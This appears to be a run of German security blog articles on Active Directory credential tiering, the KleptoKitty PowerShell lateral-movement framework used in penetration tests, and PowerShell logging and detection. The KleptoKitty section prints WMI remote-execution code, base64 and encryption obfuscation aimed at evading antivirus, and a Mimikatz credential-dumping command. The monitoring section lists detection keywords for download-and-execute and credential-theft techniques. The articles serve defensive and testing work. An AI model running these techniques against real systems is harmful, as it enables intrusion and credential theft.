Um eine Tier-Zuordnung vornehmen zu können, muss eine ganzheitliche Betrachtung jedes einzelnen Dienstes und jeder Active Directory-Berechtigung vorgenommen werden. Dabei muss immer die folgende Frage beantwortet werden: Ergibt sich ein Control-Up oder ein Exposure-Down Risiko? Ein Beispiel: Virtuelle Maschinen von Domänencontrollern werden von der Lösung System Center Configuration Manager (SCCM) verwaltet. SCCM wird von Tier-1-Administratoren verwaltet. Dies führt zu einem Control-Up-Risiko und damit zu einem Verstoss gegen das Tiering. Dieses Beispiel beschreibt das Paradigma der Abhängigkeitskette. Weitere vorgelagerte Risiken für einen Domänencontroller wären zum Beispiel:

• Verwaltungsagenten auf dem Server und Scheduled Tasks
• Ungepatchte Software-Schwachstellen, schwache Betriebssystemkonfiguration
• Backup- und Speicheradministratoren
• Baseboard Management Controllers (BMCs)
• Physischer Zugang und Administratoren virtueller Maschinen
• ACLs auf Active Directory objekte
• Host-Installationsmedien/Prozess
• Anwendungsadministrationsrollen (Domänen-/Enterprise-/Schema-Administratoren, Konto-/Server-Operatoren usw.)
• Hosts, auf denen vorgelagerte Administratoranmeldeinformationen offengelegt werden
• Erweiterungen der Security Boundary (Trusts zu anderen Verzeichnissen, Verwaltung duch Service Provider)

Und übersetzt in ein unfertigen Graphen. P.S.: Es ist eine wertvolle Übung, den unten stehenden Graphen zu erweitern, um die Abhängigkeitskette zu wichtigen IT-Komponenten zu veranschaulichen.

Alle oben identifizierten Upstream-Risiken können zu einer Downstream-Kontrolle aller Geschäftsdaten, Konten und Geräte führen, die direkt oder indirekt von Active Directory verwaltet werden. Basierend auf dieser Erkenntnis muss jede identifizierte Tiering-Verletzung angegangen werden. Es gibt verschiedene Möglichkeiten der Schadensbegrenzung:

Eine andere Möglichkeit, um Tiering-Verstösse zu eruieren, kann über folgende Methode erfolgen:

• Definieren des Anwendungsfalls: Ich möchte meinen Alltagslaptop benutzen, um mich mit meinem Domänenadministrator bei meinem Jump Server anzumelden und alle meine Domänencontroller zu verwalten.
• Zweitens, zeichnen des Anwendungsfalls: Ein Raster zeichnen mit den Tiers und den Entitäten, die für den Anwendungsfall erforderlich sind.
• Drittens, zeichnen der Verbindungen: user1 ist auf notebook1 angemeldet, user1 gibt das Passwort von admin1 auf notebook1 ein, um sich auf dem Server jumpserver1 anzumelden, von jumpserver1 aus wird admin1 benutzt, um DC1 zu verwalten.
• Viertens: Erkennen der Verstösse: Markieren und nummerieren der Grenzen, welche die Verbindung überschreiten.

Die folgende Zeichnung dient als Beispiel für den Anwendungsfall:

Die Zeichnung zeigt vier Tiering Violations:

• Erster und zweiter Verstoss: Anmeldedaten Exposure-Down Verstoss zu Tier 1 und Tier 2
• Dritter Verstoss: Verstoss gegen control-up Regel
• Vierter Verstoss: Verstoss gegen control-up Regel

Dies ist übrigens ein gängiges Verwaltungsmuster, auf das wir bei Assessments oder Red-Team-Einsätzen häufig stossen. Intern nennen wir den Server jumpserver1 credential harvester und er ist oft eines unserer Ziele. Zurück zum Thema, was wir tun können, um die Tiering Verstösse abzuschwächen. Von unseren fünf oben vorgestellten Optionen sollten wir uns für Option B entscheiden:

• Erstellen einer Privileged Access Workstation (PAW) in Tier 0 als f1t0paw01.
• A1 in Tier 0 als f1t00user1 neu erstellen.
• Erstellen eines dedizierten JMP-Servers in Tier 0 als f1t0jmp1. (Optional)
• Anmelden mit Benutzer f1t00user1 an der PAW und eine Verbindung zum Tier 0 Jumpserver f1t0jmp01 herstellen.
• Verwalten der Domänencontroller f1t0ads01 über den dedizierten Jumpserver f1t0jmp01 oder direkt von der PAW.

Jede Entität in einem Tiering sollte einer strengen Namenskonvention folgen. Dies bietet mehrere Vorteile, insbesondere im Hinblick fürs Auditieren. Nachfolgend ein Beispiel für Benutzerkonten:

Wenn keine der Optionen zur Risikominderung umgesetzt werden kann, sollten Analysen durchgeführt werden, um zu ermitteln, wie die Ausnutzung der Tiering-Verstösse erschwert oder zumindest Überwacht werden können. Wenn nichts machbar ist, sollte das Risiko formell akzeptiert werden und zusammen mit den möglichen Konsequenzen im Falle eines Vorfalls dokumentiert werden.

Wie sieht es mit den Risiken von Lateral Traversal aus?

Um die Bedrohung durch Laterale Traversal auf jedem Tier abzuschwächen, muss es spezielle privilegierte Benutzer geben, die für Verwaltungsaufgaben Zugriff auf Objekte erhalten. Ein Beispiel hierfür ist ein Serveradministrator, der Zugriff auf die Server und Dienste erhält, um regelmässige Wartungs- und Überwachungsaufgaben durchzuführen. Für die Verwaltung dieser Serveradministratoren wird jedoch auch ein privilegierter Zugang benötigt. Dieser Zugang wird von einem Tier-Administrator wahrgenommen. Ein weiteres Beispiel in Form eines Anwendungsfalls:

• Anwendungsfall: Ich bin user1 und habe die folgenden IT-Rollen in meinem Unternehmen: Tier1-Eigentümer, Server-Administrator, Verantwortlicher für Business App1

Um das Risiko von Lateral Traversal für user1 zu minimieren, sind mehrere Administratorenkonten erforderlich:

• Erstellen eines Tier 1 Administrators: f1t10user1
• Erstellen eines Tier 1 Server Administrators: f1t11user1
• Erstellen eines Tier 1 Mehrzweck Administrators für App1: f1t12user1 (d.h. ein Administrator mit erhöhten Rechten, der auf einige wenige Server beschränkt ist)

In diesem Fall sollte user1 drei verschiedene Administratorkonten haben. Eine Privileged Access Management (PAM) Lösung kann verwendet werden, um die Anzahl der dedizierten Administratorkonten zu minimieren. Allerdings stossen wir häufig auf PAM-Konfigurationen, die als kostspielige Security-by-Obscurity-Lösungen eingesetz werden. Sie implizieren oft, dass Benutzer zunächst einen separaten Genehmigungsprozess für die Zugriffsverwaltung durchlaufen haben, anschliessend aber unabhängig vom verwendeten Gerät vorübergehend erhöhte Berechtigungen erhalten können, ohne dass eine Multi-Faktor-Authentifizierung (MFA) oder ein Genehmigungsprozess erforderlich ist. Folglich ist es für PAM-Lösungen von entscheidender Bedeutung, dass sich die Implementierung an die oben beschriebenen Regeln hält, um Tieringverstösse zu vermeiden

Ist das alles, was das Tiering betrifft?

Natürlich gibt es noch weitere wesentliche Aspekte, die zu einer erfolgreichen Credential Tier-Implementierung beitragen. Dazu gehören beispielweise Security Boundaries, Privileged Access Workstation (PAW), Hardening, Access-Management sowie Automatisierung. Die folgende vereinfachte Credential Tiering Hierarchy of Needs orientiert sich an Maslows Hierarchy of Needs und der Incident Response Hierarchy of Needs. Sie skizziert die Phasen, die Unternehmen durchlaufen können, um den Diebstahl von Anmeldedaten für Angreifer zu erschweren. Die Fähigkeiten am unteren Ende der Hierarchie dienen als wesentliche Voraussetzung für die wirksame Umsetzung der darüber liegenden Fähigkeiten, einschliesslich derjenigen, die mit dem Credential-Tier-Modell verbunden sind.

Das neue Tiering-Modell von Microsoft

Laut Microsoft ersetzt das Enterprise Access Model das Active Directory-Tiering-Modell, das entwickelt wurde, um eine unbefugte Ausweitung von Berechtigungen in einer lokalen Windows Server Active Directory-Umgebung zu verhindern. Das Enterprise Access Model soll alle Elemente des Active Directory Credential Tier-Modells umfassen und gleichzeitig die Anforderungen an die Zugriffsverwaltung eines modernen Unternehmens erfüllen, einschliesslich lokaler, mehrerer Clouds, interner und externer Benutzerzugriffe und mehr. In dem neuen Modell entspricht die Control Plane dem Tier 0, während die Management Plane und die Data/Workload Plane dem Tier 1 entsprechen. Der Zugriff auf die Tiers in Tier 0 und Tier 1 sollte von Privileged Access Workstations (PAW) aus erfolgen, getrennt vom regulären Benutzerzugriff und App-Zugriff von Geräten in Tier 2. Nachzulesen in dem Artikel Securing Priviled Access. Zusammenfassend lässt sich sagen, dass sich nichts geändert hat, die Herausforderungen der Segregation sind identisch. Die Aufrechterhaltung einer sicheren Active-Directory-Umgebung ist eine Herausforderung, die Aufrechterhaltung einer sicheren Cloud-Umgebung ist noch schwieriger, je nach Komplexität der Umgebung. Der Artikel Microsoft Cloud Security – The Top-10 Riskiest Configurations beschreibt, was wir bei der Bewertung von Cloud-Umgebungen sehen. Die meisten der skizzierten Risiken können mit Credential Tiering angegangen werden.

Wo sollen wir anfangen?

Der zweite Artikel befasst sich mit dieser Frage. Der Artikel liefert Anhaltspunkte, wie der Übergang zu einer Umgebung mit mehreren Tiers aussehen kann. Ausserdem wird eine Methode zur Messung der Sicherheitsverbesserungen während dieses Prozesses vorgestellt.

Zusammenfassung

Um die Sicherheit in einer identitätszentrierten Umgebung zu erhöhen, ist Credential Tiering eine grundlegende Komponente. Es kann dazu beitragen, Sicherheitsverletzungen zu verhindern, die die Vertraulichkeit, Integrität oder Verfügbarkeit der gesamten Umgebung gefährden könnten. Es ist wichtig, die Bedeutung von Upstream-Risiken und ihre möglichen Auswirkungen auf die Downstream-Kontrollen zu berücksichtigen. Tiering ist ein dauerhaftes Konzept, das nicht einfach durch Cloud-Lösungen oder andere toolbasierte Methoden ersetzt werden kann. Daher ist es wichtig, den Wert von Tiering zu verstehen und es auf identitätszentrierte Lösungen anzuwenden. Die Implementierung von Tiering kann einen erheblichen Aufwand erfordern, da das Problem umfassend angegangen wird und mehrere Teams involviert werden müssen. Ein schrittweises Vorgehen, das sich zunächst auf die privilegiertesten Entitäten konzentriert, kann die Sicherheit jedoch erheblich verbessern und es einem Angreifer bereits erschweren, weitreichende Zugriffsrechte zu erlangen.

Nachdem Angreifer ein System übernommen haben und über privilegierte Zugangsdaten verfügen, beginnt die Analyse des Systems. Es wird untersucht welche Fernzugriffsdienste genutzt und welche Sicherheitskontrollen eingesetzt werden. Anhand dieser Informationen wird eine passende Payload entwickelt und interessante Ziele im Netzwerk ausgesucht. Dank der guten Vorbereitung dauert danach ein Angriff auf weitere Zielsysteme nur wenige Minuten und kann automatisiert durchgeführt werden. Für unsere Dienstleistungen wie Penetration Tests oder Adversary Simulationen setzen wir unter anderem auf das Lateral Movement Framework KleptoKitty.

KleptoKitty, die Zwillingsschwester von HardeningKitty, ist ein auf PowerShell basierendes Framework für Lateral-Movement-Angriffe (MITRE ATT&CK TA0008) in einer Windows-Infrastruktur. Die Entwicklung begann im Oktober 2019 nach Inspiration des Cypherpunks und Hackers Tinker und die erste Version war ein einfaches PowerShell-Skript. Die Funktionalität des Skripts wurde nach und nach ausgebaut. Mit KleptoKitty werden Payloads auf das Zielsystem kopiert, dort ausgeführt, danach Zugangsdaten extrahiert und die Payload wieder entfernt. Ein zusätzliches Ziel bei der Entwicklung des Frameworks war es neue Angriffstechniken einfach adaptieren und als zusätzliche Payload einbinden zu können.

Als Payloads werden unter anderem Invoke-Mimikatz aus Empire von BC Security, Mimikatz von Benjamin Delpy und PPLKiller von Red Cursor eingesetzt. Da wir von hervorragenden Arbeiten aus der IT-Security-Community profitieren, stellen wir KleptoKitty auf unserem GitHub Repository unter MIT-Lizenz frei zur Verfügung.

Für die Übertragung von Dateien sowie Remote-Ausführung von Befehlen werden Windows-Standardkomponenten verwendet. Die meisten Funktionen werden mittels PowerShell (MITRE ATT&CK T1059-001) gesteuert. Dabei werden Dateien standardmässig über SMB-/Admin-Freigaben (MITRE ATT&CK T1021-002) auf das Zielsystem kopiert. Für die Remote-Ausführung von Befehlen kann Windows Management Instrumentation (WMI) (MITRE ATT&CK T1047), PsExec (MITRE ATT&CK T1569-002) oder Windows Remote Management (WinRM) (MITRE ATT&CK T1021-006) genutzt werden. Das Ziel ist es an lokale Zugangsdaten (SAM) (MITRE ATT&CK T1003-002) und Zugangsdaten von aktiven Accounts im Windows LSA Speicher (MITRE ATT&CK T1003-001) zu gelangen.

“Hello World” mit KleptoKitty

Die Payload Demo eignet sich gut, um die Funktionsweise von KleptoKitty zu erklären. Die Payload wird auf das Zielsystem kopiert und dort ausgeführt. Die Payload erstellt dabei eine Datei unter C:\Windows\kleptokitty.log und hinterlässt einen Protokolleintrag:

$ProtocolPath = "C:\Windows\kleptokitty.log"
$Time = Get-Date -Format G
$Message = "$Time – KleptoKitty was here."
Add-Content -Path $ProtocolPath -Value $Message

Für die Payload Demo muss nur ein Kopiervorgang durchgeführt und ein Befehl ausgeführt werden. Es ist nicht nötig eine Logdatei vom Zielsystem zu extrahieren. Der Name der Payload wird für jedes Zielsystem zur Laufzeit zufällig festgelegt und soll einen harmlosen Eindruck vermitteln, indem Namen von Windows-Systemdateien verwendet werden. Im ersten Schritt wird die Payload kopiert, falls dies misslingt wird die weitere Ausführung abgebrochen. Danach wird die Payload gestartet und anschliessend auf dem System gelöscht:

# Copy Payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
Execute Payload
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath"
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
    Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
}
House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath      

Die Remote-Befehl-Ausführung geschieht über WMI. Dabei wird ein neuer Prozess kreiert und powershell.exe gestartet. Wahlweise kann der Aufruf der Payload mit Base64-kodiert und somit verschleiert werden. Falls PowerShell Script Block Logging aktiviert ist, wird der Aufruf des Skripts jedoch dekodiert im Event Log gespeichert. Zudem kann die Verwendung der Base64-Kodierung ein Indikator für eine bösartige Aktion darstellen. Die Verwendung dieser Verschleierungsmassnahme ist optional und kann beim Aufruf der Funktion gesteuert werden.

Code $PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"
try {
    $WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
} catch {
    $ErrorReason = $_.Exception.Message
    Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
    Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
    $ReturnCode = $false 
}

Nachdem die Payload auf dem Zielsystem gestartet wurde, kann die Ausführung dieser nur indirekt überwacht werden. Wenn eine Logdatei geschrieben und zurückkopiert werden sollte, lohnt es sich eine Weile zu warten, bevor weitere Schritte, wie das Kopieren dieser Logdatei, durchgeführt werden.

Aufbau einer Payload

Das folgende Beispiel basiert auf einer Payload mit Invoke-Mimikatz. Dabei wird die Funktion Invoke-Mimikatz selbst in die Payload kopiert. Im Anschluss folgt die Definition einer Logdatei für Mimikatz. Der Name der Logdatei muss KleptoKitty bekannt sein, sonst kann die Logdatei nicht extrahiert werden. Danach werden die auszuführenden Mimikatz-Anweisungen definiert. Im folgenden Beispiel werden die Zugangsdaten von aktiven Benutzern auf dem System ausgelesen:

Function FormerlyKnownAsMimikatz {
    # <add the script here>
}
Log
$TargetBasePath = "Windows"
$TargetLogName = "de-ch.log"
$TargetLogLocalPath = "C:\$TargetBasePath\$TargetLogName"
Run Payload
FormerlyKnownAsMimikatz -Command """log $TargetLogLocalPath"" privilege::debug sekurlsa::logonpasswords"

Die Payload kann mit Base64 kodiert oder mittels Rijndael verschlüsselt werden. Für die Verschlüsselung wird ein Skript auf der Basis von einer Beispielimplementation von Kae Travis eingesetzt. Durch die Kodierung oder Verschlüsselung wird die Payload verschleiert und kann so allenfalls die Erkennung durch einen Virenscanner entgehen. Die Dekodierung/Entschlüsselung erfolgt zur Laufzeit. Virenscanner mit Unterstützung für Microsoft AMSI können daher die ungeschützte Version der Payload untersuchen.

Detektierung und Mitigation

Um Lateral-Movement-Angriffe zu erkennen und zu verhindern, können verschiedene Kontrollen eingesetzt werden. Ein sehr effizientes Mittel ist das Verhindern von Client-zu-Client-Kommunikation durch den Einsatz der Windows-Firewall oder einer anderen Host-Firewall. Dabei sollten vor allem Dienste wie WMI, SMB sowie WinRM gar nicht oder nur für spezifisch definierte Systeme erreichbar sein. Chad Duffey hatte dazu einen Blog-Artikel zur Einschränkung von SMB-Lateral-Movement-Angriffen geschrieben.

Im Artikel PowerShell Monitoring haben wir Massnahmen zur Überwachung von Aktivitäten mit PowerShell vorgestellt. Durch die Aktivierung von PowerShell Script Block Logging können Base64-kodierte Payloads aufgeschlüsselt werden. Der Artikel enthält ebenso eine Liste mit Schlüsselwörtern, nach welchen die PowerShell-Logs untersucht werden können. Zudem ist der Einsatz einer Antiviren-Lösung mit Unterstützung des Microsoft Antimalware Scan Interfaces (AMSI) empfehlenswert, da damit sogenannte file less attacks auch mit einem Virenscanner untersucht werden können.

Mit der Implementation des Regelwerks Attack Surface Reduction (ASR) können Prozesse, die mit PsExec oder WMI gestartet werden, blockiert oder zumindest aufgezeichnet werden. Der Artikel Monitoring Mimikatz zeigt auf wie Mimikatz mit der Auswertung von Event Logs und dem Einsatz von Sysmon detektiert werden kann. Zudem sollten Hardenigmassnahmen für die Windows Local Security Authority (LSA) implementiert werden.

Ausblick

Die Entwicklung von KleptoKitty wird weitergeführt, noch sind nicht alle gewünschten Features implementiert. Es ist unter anderem geplant die Verteilung von Payloads über HTTP oder SMB-Shares anzubieten. Zudem versuchen wir auch neue Entwicklungen und Angriffstechniken möglichst zeitnah zu implementieren. Wir freuen uns über Feedback, Verbesserungsvorschläge, “Lagerfeuer-Geschichten” wie KleptoKitty erfolgreich eingesetzt wurde und auch Pull-Requests sind willkommen.

PowerShell basierende Angriffe stellen seit jeher einen Alptraum für die IT-Sicherheit-Abteilung dar, da deren Ausführung kaum Spuren hinterlassen und diese auf einen beeindruckenden Umfang von Systemfunktionen zurückgreifen können. Es ist an der Zeit, dass die IT-Sicherheits-Abteilung ein Werkzeug erhält, um der Bedrohung Herr zu werden oder gar einen Schritt voraus zu sein.

Ausgangslage

Im Artikel PowerShell ♥ the Blue Team des Windows PowerShell Blogs stellt Microsoft neue Sicherheitsfunktionen der PowerShell Version 5.0 vor. Mit der Funktion Constrained PowerShell wird die Kontrolle mittels AppLocker verbessert. Wird AppLocker mit den Standardregeln im Allow Modus verwendet, erkennt dies PowerShell und setzt den Sprachmodus auf Constrained. Damit wird der Funktionsumfang reduziert und es sind nur noch Basis-Funktionen erlaubt. Als Resultat davon werden erweiterte Funktionen, wie unter anderem .NET Scripting oder die Interaktion mit COM-Objekten, nicht mehr ausgeführt. Diese Einschränkung dient als Schutz gegen Angriffstools, die diese Funktionen einsetzen und nun nicht mehr korrekt ausgeführt werden. Skripte, die hingegen explizit durch eine AppLocker Policy erlaubt werden, da diese signiert sind oder sich in einem vertrauenswürdigen Verzeichnis befinden, werden weiterhin im Full Mode betrieben. Diese Funktion vereinfacht das Blockieren von PowerShell enorm.

Dennoch ist das Blocken von PowerShell nur schwer realisierbar und kann vermutlich nur in spezifischen Umgebungen wie auf einem Terminal-Server konsequent umgesetzt werden. Auf allen anderen Systemen wird die Ausführung von PowerShell weiterhin möglich sein oder muss bewusst zugelassen werden. Als Konsequenz dessen sollte getreu nach dem Motto In God we trust, all others we monitor eine Monitoring-Lösung zur Protokollierung und Auswertung von PowerShell-Aktivitäten implementiert werden.

PowerShell-Aktivität aufzeichnen

Mit der Version 3.0 des Windows Management Framework führte Microsoft die Gruppenrichtlinie-Einstellung Turn On Module Logging ein. Diese befindet sich unter Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell. Wird sie aktiviert, werden PowerShell-Kommandos und -Module im Eventlog Microsoft-Windows-PowerShell/Operational protokolliert. Damit kann die Ausführung von PowerShell auf einem System analysiert und überwacht werden.

In der Gruppenrichtlinie muss definiert werden, welche Module überhaupt protokolliert werden. Wenn nun sämtliche Module durch das Setzen der Wildcard-Einstellung * aufgezeichnet werden, dann führt dies zu einer grossen Menge an Einträgen. Das folgende Beispiel demonstriert dies eindrücklich. Die einmalige Ausführung des Scripts Invoke-Mimikatz, eine PowerShell-Adaption von Joe Bialek des Tools Mimikatz von Benjamin Delpy zur Extraktion von Windows Credentials, führt zu zirka 29’000 Einträgen im Eventlog, das dabei die Grösse von 56 MB erreicht. Eine Suche nach der Zeichenkette Mimikatz führt dann auch gleich zu 22’691 Treffern:

PS C:\> Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where { $_.Message -like "*Mimikatz*" } | Group-Object Eventid | Format-Table Count,Name
Count Name
——- ——
22691 800

Demzufolge gilt es einen Kompromiss zwischen der Datenmenge und den aufzuzeichnenden Modulen zu finden. Um sämtliche Angriffe erkennen zu können, ist der Einsatz der Wildcard-Einstellung notwendig, da ein Angreifer eigene, benutzerdefinierte Module verwenden könnte, die sich dann nicht in der Filterliste befinden. Bei der Implementation der Monitoring-Lösung sollte die Datenmenge zumindest berücksichtigt werden. Eventuell lohnt es sich eine erste Filterung der Resultate bereits auf dem Client vorzunehmen und nicht alle Einträge vom Client an die Monitoring-Lösung zu senden, um so die anfallende Datenmenge zu reduzieren.

Mit dem Windows Management Framework 5.0 wird eine zusätzliche Logging-Funktion namens PowerShell Script Block Logging eingeführt. Ein Script Block legt die Basis für ausführbaren Code und tritt in interaktiven Konsolen-Befehlen, in Kommandoaufrufen mittels des Parameters -Command $command sowie in Funktionen oder Skripten auf. Die Aktivierung der Einstellung führt dazu, dass alle durch PowerShell prozessierten Script Blocks aufgezeichnet werden. Der Vorteil dieser Einstellung gegenüber dem Module Logging ist, dass wenn in einem Script Block dynamischer Code benutzt wird, wird nebst diesem Code auch die generierte und tatsächlich ausgeführte Variante ebenfalls protokolliert. Dies ermöglicht es Code von Anwendungen zu protokollieren, die bewusst dynamische Code-Generierung zur Verschleierung einsetzen, unter anderem der Einsatz von Kodierungs- oder Verschlüsselungsmethoden. Dies ist ein verbreitetes Mittel zur Umgehung von Sicherheitslösungen, da der Schadcode erst zur Laufzeit erkennbar ist und nicht vorgängig durch den Scan einer Antivirus-Lösung.

Eine beliebte Technik ist der Einsatz von Base64-kodierten Payloads. Ein Base64-Payload kann direkt mittels des Parameters -EncodedCommand $commandBase64 ausgeführt werden, wie das folgende Beispiel zeigt. Hier wird ein kodierter Befehl über die Konsole ausgeführt. Was der Befehl macht, ist anhand des Aufrufs nicht ersichtlich.

PS C:\> powershell.exe -Enc "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFIAdQBuAG4AaQBuAGcAIABXAGkAbgBkAG8AdwBzAF8ATABvAGMAYQBsAF8ARQB4AHAAbABvAGkAdAAuAC4ALgAnAA=="

Im Eventlog wird nun erstens der eigentliche Aufruf protokolliert. Zusätzlich wird in einem weiteren Logeintrag die kodierte Form des Befehls aufgezeichnet. Dadurch kann nachvollzogen werden, was tatsächlich ausgeführt wurde. Eine einfache Analyse ist natürlich mit PowerShell möglich, wie das folgende Code-Beispiel zeigt. Mittels des Befehls Get-WinEvent werden die letzten zwanzig Einträge ausgelesen und als Array in das Objekt $eventLog gespeichert. Der Eintrag $eventLog[10] beinhaltet den Logeintrag des Script Blocks in der Form, wie dieser in der Konsole ausgeführt wurde, mit der Base64-Payload. Im Eintrag $eventLog[6] ist dann die dekodierte und tatsächlich ausgeführte Form protokolliert.

PS C:\> $eventLog = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 20
PS C:\> $eventLog10.Message
Creating Scriptblock text (1 of 1):
powershell.exe -Enc "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFIAdQBuAG4AaQBuAGcAIABXAGkAbgBkAG8AdwBzAF8ATABvAGMAYQBsAF8ARQB4AHAAbABvAGkAdAAuAC4ALgAnAA=="
ScriptBlock ID: 6310fcc4-c2e5-4790-98d7-69ca0133abce
Path:
PS C:\> $eventLog6.Message
Creating Scriptblock text (1 of 1):
Write-Output 'Running Windows_Local_Exploit…'
ScriptBlock ID: 152104d8-dc65-41a7-8c2e-67a87828a9a4
Path:

Zurück zum Beispiel des Skripts Invoke-Mimikatz: mit der Einstellung Turn On PowerShell Script Block Logging werden nur noch 413 Einträge in das Eventlog geschrieben. Dies ist im Gegensatz zu zirka 29’000 Einträgen eine überschaubare Datenmenge und kann direkt für weitere Auswertungen genutzt werden.

Sammeln von Eventlogs

Das Aufzeichnen der PowerShell-Aktivitäten ist nur der erste Schritt für eine Monitoring-Lösung. Es muss sichergestellt sein, dass die Logeinträge nicht verändert oder gelöscht werden können. Die National Security Agency (NSA) und der Central Security Service (CSS) haben im Dezember 2013 ein Whitepaper namens Spotting the Adversary with Windows Event Log Monitoring veröffentlicht. Das Dokument beschreibt, wie mit Eventlogs umgegangen werden soll und welche Schutzmassnahmen notwendig sind. Ein wichtiger Punkt ist, dass die maximale Grösse eines Eventlogs angepasst und verhindert wird, dass Einträge beim Erreichen dieser Maximalgrösse überschrieben werden. Ferner muss die Integrität der Logs sichergestellt sein. Dazu gehört, dass Administratoren keine Schreibrechte auf die Log-Dateien haben. Es wird empfohlen, dass ein dedizierter Server zur Sammlung von Eventlogs eingesetzt wird. Im Whitepaper wird dazu die Konfiguration von Event-Subscriptions und der Event-Forwarding-Policy beschrieben. Dies kann natürlich auch mit anderen Mitteln oder Produkten von Drittanbietern realisiert werden.

PowerShell-Aktivität auswerten

Das Aufzeichnen aller PowerShell-Aktivitäten auf einem System oder mehreren Systemen führt zu einer grossen Menge an Daten. Diese Daten müssen entsprechend ausgewertet werden, um bösartige Vorgänge zu erkennen. Ein simpler Signatur-basierter Ansatz, wie das Durchsuchen nach Stichworten wie Mimikatz, Invoke-Mimikatz oder Invoke-Shellcode, greift dabei zu kurz und kann mit einfachen Mitteln umgangen werden.

Der zielführende Ansatz ist die Suche nach bestimmten Schlüsselwörtern von PowerShell-Objekten, -Methoden oder -Commandlets, die für die Zwecke von Angriffs-Tools benötigt werden. Sean Metcalf, CTO von DAn Solutions und Security Researcher, hat in seinem Vortrag namens Red vs. Blue: Modern Active Directory Attacks & Defense an der DerbyCon 2015 eine Liste von solchen Schlüsselwörtern zusammengestellt. Eine solche Liste von Schlüsselwörtern sollte regelmässig überprüft und aktualisiert werden.

• Allgemeine Schlüsselwörter
  • (New-Object Net.WebClient).DownloadString
  • Invoke-WebRequest
  • Invoke-Expression / IEX
  • EncodedCommand / -enc
  • Bypass
• Invoke-Mimikatz
  • System.Reflection.AssemblyName
  • System.Reflection.Emit.AssemblyBuilderAccess
  • System.Runtime.InteropServices.MarshalAsAttribute
  • TOKEN_PRIVILEGES
  • SE_PRIVILEGE_ENABLED
• Invoke-TokenManipulation
  • TOKEN_IMPERSONATE
  • TOKEN_DUPLICATE
  • TOKEN_ADJUST_PRIVILEGES
• Invoke-CredentialInjection
  • TOKEN_PRIVILEGES
  • GetDelegateForFunctionPointer
• Invoke-DLLInjection
  • System.Reflection.AssemblyName
  • System.Reflection.Emit.AssemblyBuilderAccess
• Invoke-Shellcode
  • System.Reflection.AssemblyName
  • System.Reflection.Emit.AssemblyBuilderAccess
  • System.MulticastDelegate
  • System.Reflection.CallingConventions
• Get-GPPPassword
  • System.Security.Cryptography.AesCryptoServiceProvider
  • 0×4e,0×99,0×06,0xe8,0xfc,0xb6,0×6c,0xc9,0xfa,0xf4
  • Groups.User.Properties.cpassword
  • ScheduledTasks.Task.Properties.cpassword
• Out-MiniDump
  • System.Management.Automation.WindowsErrorReporting
  • MiniDumpWriteDump

Mit diesen Schlüsselwörtern wird eine erste Filterung der Datenmenge vorgenommen. Auch in diesem Fall kann auf PowerShell-Funktionen zurückgegriffen werden. Das Feld Message wird nach Treffern durchsucht und alle betroffenen Einträge werden aufgelistet.

PS C:\> $keywordsMimikatz = "System.Reflection.AssemblyName|System.Reflection.Emit.AssemblyBuilderAccess|System.Runtime.InteropServices.MarshalAsAttribute|TOKEN_PRIVILEGES|SE_PRIVILEGE_ENABLED"
PS C:\> Get-WinEvent -ErrorAction SilentlyContinue -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"} | Where { $_.Message -imatch $keywordsMimikatz } | Format-Table -AutoSize TimeCreated,Id,RecordId,MachineName,Message
TimeCreated           Id RecordId MachineName           Message
—————-           — ———— —————-           ———-
10.03.2016 14:39:45 4104   360280 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:26:45 4104   360249 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:26:45 4104   360248 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:19:28 4104   360246 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:19:28 4104   360245 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:18:54 4104   360243 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:18:54 4104   360242 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:18:20 4104   360240 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:18:20 4104   360239 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:16:55 4104   360233 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…
09.03.2016 11:16:55 4104   360232 client02.labs.scip.ch Creating Scriptblock text (1 of 1):…

Die Verwendung dieser Schlüsselworte sind nur ein erster Anhaltspunkt dafür, dass ein möglicher Angriff stattfindet. Da diese Schlüsselwörter aber auch von legitimen PowerShell-Anwendungen verwendet werden können, ist eine weitere, gegebenenfalls manuelle, Auswertung der Resultate notwendig. Dabei sollte die komplette Ausgabe des Script Blocks überprüft werden, da dieser die vollständige Anweisung enthält. Zudem existieren zu jedem Eventlog-Eintrag weitere Informationen wie der Zeitstempel, der Computer- und Benutzername, die zur Nachforschung genutzt werden können.

Anstelle einer Ausgabe aller gefunden Resultate können diese auch als Array in ein Objekt geladen werden, und über die Shell kann dann auf die einzelnen Einträge zugegriffen werden:

